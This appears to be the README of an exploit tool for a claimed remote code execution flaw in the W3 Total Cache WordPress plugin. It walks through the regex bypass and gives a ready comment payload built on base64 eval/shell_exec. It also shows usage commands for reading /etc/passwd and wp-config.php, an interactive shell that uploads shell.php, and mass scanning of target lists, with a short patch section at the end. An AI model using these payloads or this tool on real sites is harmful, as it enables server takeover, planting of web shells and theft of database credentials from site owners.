<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY is inserted directly into regex
        // preg_quote() MISSING → token acts as regex pattern
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Attacker payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      NO SPACE between mfunc and token

strip function:   \s+ → no match → payload PERSISTS
execution regex:  \s* → matches  → eval() TRIGGERS

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Only defined() check — NO empty() or metacharacter validation
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

W3TC_DYNAMIC_SECURITY = '.'   (regex metacharacter — any character)
        │
        ▼
Attacker submits comment:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  requires \s+, no space → BYPASSED ✅
        │
        ▼
Comment stored in database, page cached
        │
        ▼
Second HTTP request → W3TC serves from cache
  _has_dynamic() → mfunc\s*.  → 'A' matches → returns true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' matches
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requests
beautifulsoup4

python w3tc_rce.py https://target.com

# id command
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd id

# Read /etc/passwd
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /etc/passwd"

# Read wp-config.php
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Manual Post ID
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/hello-world/ \
  --post-id 1 \
  --cmd whoami

python w3tc_rce.py https://target.com \
  --mode shell \
  --post-url https://target.com/?p=1

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://target.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.target.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Commands: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

python w3tc_rce.py https://target.com --mode detect

[+] W3TC installed!
    Version  : 2.9.1
    Cache    : True
[!] Version 2.9.1 VULNERABLE (<= 2.9.1)!

python w3tc_rce.py --list targets.txt -t 10 -o results.txt

python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

Standard tag (caught by strip):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          space present → \s+ matches → strip removes it

Bypass tag (bypasses strip, triggers eval()):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        NO space → \s+ doesn't match → strip BYPASSES
                      \s* matches → eval() TRIGGERS

# Command: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

1. W3TC Detection
   └─ readme.txt, header, body, plugin directory

2. Comment System Detection
   └─ HTML form, REST API, post ID

3. Payload Injection (48 variants)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. Cache Trigger
   ├─ 1st request → cache miss → page rendered → cached
   └─ 2nd request → cache hit → _parse_dynamic() → eval()

5. Output Extraction
   └─ uid=, whoami, /path/, passwd, wp-config...

=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Target: https://target.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Comment page: https://target.com/?p=1 (post_id=1)

  [1] W3TC detection...
[+] W3TC found! Version: 2.9.1
  [2] Comment system detection...
[+] Post ID: 1 | Form: True | REST: True
  [3] Payload injection (id)...
[i] 48 payload variants ready
  [4] Triggering cache...

[★] RCE SUCCESSFUL!
=========================================================
  URL     : https://target.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Command : id
  Output  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Results saved → w3tc_results.txt
[?] Open shell? (y/n):

Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 vulnerabilities found!
[+] Results saved → w3tc_results.txt

cve-2026-27384/
├── w3tc_rce.py        # Main scanner
├── requirements.txt   # Dependencies
└── README.md          # This file

// ❌ Dangerous — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Safe — alphanumeric
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote added
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (at least 1 space)
    ...
);